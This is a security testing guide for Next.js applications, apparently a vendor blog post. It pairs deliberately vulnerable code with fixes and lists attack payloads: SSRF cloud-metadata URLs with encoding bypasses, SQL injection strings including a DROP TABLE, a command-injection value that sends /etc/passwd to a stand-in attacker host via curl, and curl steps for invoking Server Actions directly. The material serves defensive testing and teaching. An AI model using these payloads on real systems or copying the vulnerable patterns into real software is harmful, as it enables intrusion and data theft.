Next.js Security Testing: Server Components, API Routes, and Middleware Vulnerabilities

Next.js has grown from a React SSR framework into a full-stack runtime with its own edge network, server-side execution model, and deployment primitives. That evolution introduced a class of security issues that don't map cleanly onto traditional web application testing — Server Actions that blur the client/server boundary, middleware running in a restricted edge runtime, and React Server Components that can inadvertently expose server-side state to the browser.

This guide covers the vulnerability classes that matter most when testing Next.js applications: where they appear in the codebase, how to identify them during code review, and the specific payloads to use during active testing.

SSRF via API Routes

Next.js API routes are plain Node.js request handlers. When a route accepts a URL parameter and uses it with fetch() — Node's built-in or the Next.js polyfill — the application becomes an SSRF proxy if no URL validation is applied:

Vulnerable: user-supplied URL passed directly to fetch() Common in integrations, screenshot services, link preview APIs, and webhook validators that live in /api/ routes.
// pages/api/preview.ts (Pages Router) — VULNERABLE
export default async function handler(req, res) {
  const { url } = req.query;
  const response = await fetch(url as string);   // no validation
  const html = await response.text();
  res.status(200).json({ html });
}

// app/api/proxy/route.ts (App Router) — VULNERABLE
export async function GET(request: Request) {
  const { searchParams } = new URL(request.url);
  const target = searchParams.get('url');
  const upstream = await fetch(target!);         // no validation
  return new Response(await upstream.text());
}

SSRF payloads for Next.js applications deployed on common cloud platforms:

# AWS IMDSv1 — no token required, exposes IAM credentials
http://169.254.169.254/latest/meta-data/iam/security-credentials/

# AWS IMDSv2 — may still work if the EC2 hop limit is >1
http://169.254.169.254/latest/meta-data/

# GCP metadata server — requires Metadata-Flavor header but some apps add it
http://metadata.google.internal/computeMetadata/v1/project/project-id

# Azure IMDS
http://169.254.169.254/metadata/instance?api-version=2021-02-01

# Vercel — internal runtime endpoints (varies by deployment)
http://localhost:3000/api/internal-metrics
http://0.0.0.0:3000/

# DNS rebinding / filter bypass variants
http://[::ffff:169.254.169.254]/latest/meta-data/
http://0251.0376.0251.0376/                    # octal
http://2852039166/                             # decimal IP for 169.254.169.254
http://allowed-domain.com@169.254.169.254/     # authority confusion

During code review, search for fetch calls that incorporate request-derived values:

grep -rn "fetch(req\|fetch(url\|fetch(target\|fetch(params" pages/api/ app/api/
grep -rn "searchParams.get\|req.query" --include="*.ts" --include="*.js" | grep -v "test"
grep -rn "new URL(req\|new URL(url\|new URL(target" .

Securing Next.js API Route Fetch Calls

The minimal fix is an allowlist check before fetching. Blocklists based on IP ranges are bypassable via the encoding tricks above; allowlists are not:

// SECURE — allowlist of permitted domains
const ALLOWED_HOSTS = new Set(['api.example.com', 'cdn.example.com']);

export async function GET(request: Request) {
  const { searchParams } = new URL(request.url);
  const rawUrl = searchParams.get('url');
  if (!rawUrl) return new Response('Missing url', { status: 400 });

  let parsed: URL;
  try { parsed = new URL(rawUrl); } catch {
    return new Response('Invalid url', { status: 400 });
  }

  if (!ALLOWED_HOSTS.has(parsed.hostname)) {
    return new Response('Forbidden', { status: 403 });
  }

  const upstream = await fetch(parsed.toString());
  return new Response(await upstream.text());
}

Authentication Bypass in Middleware

Next.js middleware (middleware.ts) runs at the edge before the request reaches any route handler. This makes it an attractive place to centralize authentication — but edge runtime constraints, matcher misconfiguration, and JWT verification pitfalls create bypass opportunities that are easy to miss.

Critical: middleware.ts does not protect routes by default Without an explicit matcher config, middleware runs on every request including static assets. With a restrictive matcher, it may accidentally exclude routes that need protection.

Matcher Configuration Gaps

// middleware.ts — overly narrow matcher leaves /api/ unprotected
export const config = {
  matcher: ['/dashboard/:path*', '/settings/:path*'],
  // /api/admin, /api/users, etc. are NOT covered — no auth check
};

// Slightly better but still has gaps:
export const config = {
  matcher: ['/((?!_next/static|_next/image|favicon.ico).*)'],
  // This excludes Next.js internals but /api/ routes require the
  // handler itself to verify auth — middleware alone is insufficient
};

Test for matcher gaps by accessing API routes and page routes directly without a session cookie or Authorization header. The server should return 401/403, not data.

JWT Verification in Edge Runtime

The edge runtime does not have access to Node.js crypto APIs. Libraries that rely on crypto.createHmac or jsonwebtoken will silently fail or throw, causing some implementations to treat a verification error as "unauthenticated but allowed through" rather than "block the request":

// VULNERABLE — error swallowed, request passes through unauthenticated
export async function middleware(request: NextRequest) {
  try {
    const token = request.cookies.get('session')?.value;
    const payload = jwt.verify(token, process.env.JWT_SECRET!);
    // jwt.verify throws in edge runtime — caught below
  } catch (e) {
    // developer intended: block if invalid
    // actual behaviour: "module not found" error is also caught here
    // some code paths continue instead of returning 401
    return NextResponse.next();   // BUG: should be NextResponse.redirect
  }
}

// SECURE — use jose (edge-compatible) and fail closed
import { jwtVerify } from 'jose';

export async function middleware(request: NextRequest) {
  const token = request.cookies.get('session')?.value;
  if (!token) return NextResponse.redirect(new URL('/login', request.url));

  try {
    const secret = new TextEncoder().encode(process.env.JWT_SECRET!);
    await jwtVerify(token, secret);
    return NextResponse.next();
  } catch {
    return NextResponse.redirect(new URL('/login', request.url));
  }
}

Search for authentication middleware patterns that may use Node-only crypto:

grep -rn "jwt.verify\|jsonwebtoken\|require('crypto')" middleware.ts middleware/
grep -rn "catch.*NextResponse.next\|catch.*return next" middleware.ts
grep -rn "\.cookies\.get\|\.headers\.get.*authorization" middleware.ts

Pathname Bypass via URL Encoding

Middleware matchers operate on the decoded pathname, but some implementations perform their own string matching against the raw URL. Test whether URL-encoded path segments bypass the matcher:

# If /admin is protected:
GET /admin HTTP/1.1           → 401 (expected)
GET /%61dmin HTTP/1.1         → should be 401 — does it return 200?
GET /admin%2F HTTP/1.1        → trailing slash bypass
GET /Admin HTTP/1.1           → case sensitivity on case-insensitive filesystems
GET /api/../admin HTTP/1.1    → path traversal bypass

Next.js Server Actions Security

Server Actions (introduced in Next.js 13, stabilised in 14) are async functions marked with 'use server' that execute on the server but can be called from client components as if they were local functions. From a security perspective they are HTTP endpoints — POST requests to a framework-generated URL — and must be treated as such.

Missing Authorization Checks

Because Server Actions feel like function calls in code, developers sometimes omit the authorization checks they would automatically add to an explicit API route:

// VULNERABLE — Server Action with no auth check
'use server'

export async function deleteUser(userId: string) {
  // Any authenticated — or unauthenticated — client can call this
  await db.user.delete({ where: { id: userId } });
}

// SECURE — auth check before any mutation
'use server'
import { getServerSession } from 'next-auth';
import { authOptions } from '@/lib/auth';

export async function deleteUser(userId: string) {
  const session = await getServerSession(authOptions);
  if (!session?.user || session.user.role !== 'admin') {
    throw new Error('Unauthorized');
  }
  await db.user.delete({ where: { id: userId } });
}

Find Server Actions during code review:

grep -rn "'use server'" app/ --include="*.ts" --include="*.tsx"
grep -rn '"use server"' app/ --include="*.ts" --include="*.tsx"
# Then manually verify each exported async function has an auth check

CSRF in Server Actions (Pre-Next.js 14.x)

Next.js 14 added built-in CSRF protection for Server Actions via the Origin header check. Applications running older versions, or applications that have disabled this protection, are vulnerable to cross-site form submissions targeting Server Actions:


Check the Next.js version in package.json — any version below 14.0.0 lacks the Origin header check. Also verify that no middleware or custom server configuration strips or ignores the Origin header on action requests.

Direct Invocation via Action IDs

Next.js exposes Server Actions via POST to the current page URL with an x-action-id or Next-Action header containing the action's hashed ID. These IDs are deterministic from the build and can be extracted from the client bundle:

# Extract action IDs from the client bundle
curl -s https://target.com/_next/static/chunks/app/page.js \
  | grep -oE '"[0-9a-f]{40}"' | sort -u

# Invoke the action directly
curl -X POST https://target.com/dashboard \
  -H 'Next-Action: <action-id>' \
  -H 'Content-Type: text/plain;charset=UTF-8' \
  --data '["target-user-id"]'

This means authorization checks inside Server Actions are mandatory — obscurity through hashed IDs is not a security control.

API Route Injection Patterns

Next.js API routes are Node.js functions. All the injection classes that apply to Express or Fastify apply here — the framework does no input sanitization on your behalf.

SQL Injection via JSON Body

// pages/api/users/search.ts — VULNERABLE
export default async function handler(req, res) {
  const { query } = req.body;
  // String interpolation into raw SQL
  const results = await db.query(
    `SELECT * FROM users WHERE name LIKE '%${query}%'`
  );
  res.json(results);
}

// Test payloads:
// {"query": "' OR '1'='1"}
// {"query": "'; DROP TABLE users; --"}
// {"query": "' UNION SELECT username,password,null FROM admins --"}
grep -rn "db.query(\`\|db.execute(\`\|connection.query(\`" pages/api/ app/api/
grep -rn "req.body\." pages/api/ app/api/ | grep -E "query|sql|where|filter"

Command Injection in API Routes

API routes that shell out for report generation, image processing, or file conversion are common targets. child_process.exec passes the command through the shell; execFile does not:

// VULNERABLE — user input reaches exec via template literal
import { exec } from 'child_process';

export default async function handler(req, res) {
  const { filename } = req.body;
  exec(`convert /uploads/${filename} -resize 800x600 /thumbs/${filename}`,
    (err, stdout) => res.json({ ok: !err })
  );
  // filename = "x.png; curl attacker.com/$(cat /etc/passwd) #"
}

// SECURE — execFile with argument array, no shell interpolation
import { execFile } from 'child_process';

export default async function handler(req, res) {
  const { filename } = req.body;
  // Validate filename: alphanumeric + extension only
  if (!/^[a-zA-Z0-9_-]+\.(png|jpg|gif)$/.test(filename)) {
    return res.status(400).json({ error: 'Invalid filename' });
  }
  execFile('convert',
    [`/uploads/${filename}`, '-resize', '800x600', `/thumbs/${filename}`],
    (err) => res.json({ ok: !err })
  );
}

Mass Assignment via JSON Body

When an API route spreads the request body directly into a database update, an attacker can set fields they should not control — including role, isAdmin, subscription plan, or internal identifiers:

// VULNERABLE — spread passes all body fields to Prisma update
export default async function handler(req, res) {
  const { id } = req.query;
  const updates = req.body;              // attacker controls all fields
  const user = await prisma.user.update({
    where: { id: id as string },
    data: { ...updates },                // role, isAdmin, etc. can be set
  });
  res.json(user);
}

// SECURE — explicit allowlist of updatable fields
export default async function handler(req, res) {
  const { id } = req.query;
  const { name, email, bio } = req.body; // only permitted fields
  const user = await prisma.user.update({
    where: { id: id as string },
    data: { name, email, bio },
  });
  res.json(user);
}

React Server Components Information Disclosure

React Server Components execute on the server and can import server-side modules, read from databases, and access environment variables. The risk is that data fetched in a Server Component is serialized into the RSC payload and sent to the client — including data you never intended to expose.

Critical: entire objects passed as props are serialized to the client If a Server Component fetches a user record and passes it as a prop to a Client Component, every field in that record — including password hashes, tokens, and internal flags — appears in the RSC payload in the browser's network tab.
// VULNERABLE — full database record passed to client component
// app/profile/page.tsx (Server Component)
async function ProfilePage({ params }) {
  const user = await prisma.user.findUnique({
    where: { id: params.id }
    // No field selection — returns ALL columns including passwordHash, mfaSecret, etc.
  });
  return <ProfileCard user={user} />;  // serialized to client
}

// SECURE — select only the fields the UI needs
async function ProfilePage({ params }) {
  const user = await prisma.user.findUnique({
    where: { id: params.id },
    select: { id: true, name: true, email: true, avatarUrl: true }
  });
  return <ProfileCard user={user} />;
}

To test for RSC information disclosure, intercept the RSC payload (the streamed response to navigation requests with the RSC: 1 header) and inspect its content:

# Fetch the RSC payload directly
curl -s https://target.com/profile/123 \
  -H 'RSC: 1' \
  -H 'Next-Router-State-Tree: ...' \
  | strings | grep -iE "password|secret|token|key|hash|salt"

# In Burp Suite: intercept navigation requests where
# Next-Router-Prefetch or RSC headers are present,
# inspect response body for sensitive field names

Secrets in Server Component Imports

Importing a file that contains secrets in a Server Component does not expose the secrets — unless those secrets are passed as props or returned as serializable data. The risk pattern is:

// VULNERABLE — API key value reaches client via props
import { stripe } from '@/lib/stripe';  // stripe.key = sk_live_...

async function BillingPage() {
  const config = {
    publishableKey: process.env.NEXT_PUBLIC_STRIPE_PK,
    secretKey: stripe.key,              // accidentally included
  };
  return <BillingForm config={config} />;  // secretKey sent to browser
}

// Grep for patterns like this during code review:
grep -rn "process.env\." app/ --include="*.tsx" --include="*.ts" \
  | grep -v "NEXT_PUBLIC_" | grep -v "//.*process.env"

next.config.js Misconfigurations

next.config.js controls behaviour that can introduce security vulnerabilities at the infrastructure level — image handling, HTTP headers, URL rewrites, and build-time execution. It deserves dedicated review during every security assessment.

dangerouslyAllowSVG in Image Configuration

Next.js's <Image> component proxies and optimizes images via the /_next/image route. When SVG is permitted via dangerouslyAllowSVG, the optimizer can serve attacker-controlled SVG containing embedded scripts. Content-Security-Policy set via contentSecurityPolicy in the same config block is the intended mitigation — but it only applies to the image response, not the page embedding it:

// next.config.js — RISKY configuration
module.exports = {
  images: {
    dangerouslyAllowSVG: true,          // allows SVG through the optimizer
    contentSecurityPolicy: "default-src 'self'; script-src 'none'; sandbox;",
    remotePatterns: [
      { protocol: 'https', hostname: '**' },  // any hostname — too broad
    ],
  },
};

If dangerouslyAllowSVG: true appears without a restrictive remotePatterns list, test by supplying an SVG URL containing a script payload to /_next/image?url=<svg-url>&w=800&q=75.

Rewrites Creating Open Redirects

Next.js rewrites transparently proxy requests. A wildcard rewrite that forwards an entire path to an external domain creates an open redirect or SSRF proxy depending on how the destination is constructed:

// next.config.js — VULNERABLE rewrite
module.exports = {
  async rewrites() {
    return [
      {
        source: '/proxy/:path*',
        destination: 'https://:path*',    // attacker controls the entire URL
      },
      {
        source: '/api/external/:slug',
        destination: 'https://api.partner.com/:slug',  // OK if slug is validated
      },
    ];
  },
};

Test rewrite rules by supplying crafted path segments:

# Does the rewrite forward to arbitrary hosts?
GET /proxy/evil.com/steal-cookies HTTP/1.1
GET /proxy/169.254.169.254/latest/meta-data/ HTTP/1.1

# Parameter injection into the destination URL
GET /api/external/../../internal-path HTTP/1.1
GET /api/external/data?injected=value HTTP/1.1

Missing Security Headers

Next.js does not add security headers by default. The headers() function in next.config.js is the standard place to set them, but it is easy to get the scope wrong or omit headers entirely:

// next.config.js — incomplete security headers
module.exports = {
  async headers() {
    return [
      {
        source: '/(.*)',
        headers: [
          { key: 'X-Content-Type-Options', value: 'nosniff' },
          { key: 'X-Frame-Options', value: 'DENY' },
          // Missing: Content-Security-Policy
          // Missing: Strict-Transport-Security
          // Missing: Permissions-Policy
          // Missing: Referrer-Policy
        ],
      },
    ];
  },
};
# Check which security headers are present
curl -sI https://target.com/ | grep -iE \
  "content-security|strict-transport|x-frame|x-content-type|permissions-policy|referrer-policy"

# Automated: securityheaders.com or Nuclei template
nuclei -u https://target.com -t http/misconfiguration/http-missing-security-headers.yaml

Dependency Confusion and Build-Time Attacks

Next.js applications are Node.js projects — the entire supply chain risk of npm applies. A specific risk surfaces in next.config.js itself: because it is executed by the build process, any require() calls it makes run with the build user's permissions. Malicious or compromised packages listed as dependencies can inject code that executes at build time, before any runtime security controls apply.

next.config.js as an Execution Vector

// next.config.js — dangerous pattern
const { readFileSync } = require('fs');
const config = JSON.parse(readFileSync('./config/build-settings.json'));
// If build-settings.json is attacker-controlled:
// supply a JSON with __proto__ or constructor fields → prototype pollution
// If an npm package required here is compromised → arbitrary code execution

// Also risky: dynamic plugin loading
const plugins = require('./build/load-plugins');  // what does this load?
module.exports = plugins.wrap({ /* config */ });

SBOM and Dependency Audit

# Audit for known vulnerabilities
npm audit
npx better-npm-audit audit

# Generate SBOM
npx @cyclonedx/cyclonedx-npm --output-file sbom.json

# Check for dependency confusion candidates
# (packages that exist on npm but were intended as internal)
cat package.json | jq '.dependencies, .devDependencies' \
  | grep -oE '"@[a-z-]+/[a-z-]+"' \
  | while read pkg; do
    npm view "$pkg" 2>/dev/null | grep -q "404" && echo "PRIVATE? $pkg"
  done

Environment Variable Leakage

Next.js uses the NEXT_PUBLIC_ prefix to make environment variables available in client-side JavaScript. Any variable with this prefix is inlined into the browser bundle at build time. The risk is that developers accidentally add this prefix to secrets, or that a secret is moved to a NEXT_PUBLIC_ variable "for debugging" and the change is never reverted.

NEXT_PUBLIC_ Prefix Exposing Secrets

// .env.local — DANGEROUS
NEXT_PUBLIC_API_KEY=sk-prod-abc123          # exposed to browser
NEXT_PUBLIC_STRIPE_SECRET=sk_live_xyz789   # exposed to browser
NEXT_PUBLIC_DB_PASSWORD=hunter2             # exposed to browser

// These appear in the compiled JS bundle:
// __NEXT_DATA__ or inlined as string literals
// Any user can extract them with browser devtools

// CORRECT: only non-secret config belongs in NEXT_PUBLIC_
NEXT_PUBLIC_API_BASE_URL=https://api.example.com   // OK — not a secret
NEXT_PUBLIC_STRIPE_PK=pk_live_...                  // OK — publishable key

STRIPE_SECRET_KEY=sk_live_...                       // server-side only
DATABASE_URL=postgres://...                         // server-side only

Scan the built output and the running application for secrets that should not be client-side:

# Grep the production build output for secret-like strings
find .next/static -name "*.js" -exec grep -lE \
  "sk_live|sk_prod|AKID|AIza|ghp_|eyJ" {} \;

# Check the __NEXT_DATA__ JSON embedded in HTML pages
curl -s https://target.com/ | python3 -c \
  "import sys,json,re; html=sys.stdin.read(); \
   m=re.search(r'__NEXT_DATA__\s*=\s*({.*?})\s*</script>',html,re.S); \
   print(json.dumps(json.loads(m.group(1)),indent=2)) if m else print('not found')"

# Grep for NEXT_PUBLIC_ prefixed variables that look like secrets
grep -rn "NEXT_PUBLIC_" .env* --include="*.env*" \
  | grep -iE "secret|key|password|token|credential|api_key"

Secrets in Docker Images

Multi-stage Docker builds are the standard mitigation for baking .env.local files into production images, but single-stage builds and misconfigured .dockerignore files are common findings:

# Check if .env files are present in a Docker image
docker run --rm target-image find / -name ".env*" 2>/dev/null
docker run --rm target-image cat /app/.env.local

# Check .dockerignore — should exclude .env files
cat .dockerignore | grep -E "\.env"

# Check build history for ENV directives that contain secrets
docker history --no-trunc target-image | grep ENV

Security Testing Checklist for Next.js Applications

Test What to Look For Tool / Method
SSRF via API routes fetch() with req.query/body URL params Burp Collaborator, cloud metadata payloads
Middleware auth bypass matcher gaps, swallowed errors, Node crypto Direct route access, URL encoding, curl
Server Action authz Missing session checks in 'use server' fns Action ID extraction + direct POST
SQL injection Template literals in db.query calls grep, sqlmap, manual payloads
Command injection exec() with user-derived filenames/params Shell metacharacter payloads
Mass assignment Spread of req.body into db.update() Extra fields in PUT/PATCH/POST body
RSC info disclosure Full DB objects passed as component props Inspect RSC payload (RSC: 1 header)
Env variable leakage NEXT_PUBLIC_ secrets in JS bundle Build output grep, __NEXT_DATA__ analysis
next.config.js dangerouslyAllowSVG, wildcard rewrites Config review, header audit, curl
Dependencies Known CVEs, dependency confusion npm audit, govulncheck, SBOM review

Static Analysis for Next.js

# ESLint with Next.js security rules
npx eslint . --ext .ts,.tsx --rule 'no-eval: error'

# Semgrep with Node/React rules
semgrep --config=p/nodejs --config=p/react .

# Snyk for dependency and code scanning
npx snyk test
npx snyk code test

# Find all Server Actions and API routes for manual review
find app/ pages/api/ -name "*.ts" -o -name "*.tsx" \
  | xargs grep -l "'use server'\|export default async function handler"

# Check for hardcoded secrets
npx secretlint "**/*.{js,ts,tsx,env*}"

Ironimo runs Kali Linux-powered security scans against your Next.js applications — the same tools a professional pentester uses, available on demand without scheduling a penetration testing engagement.

Start free scan
← Back to blog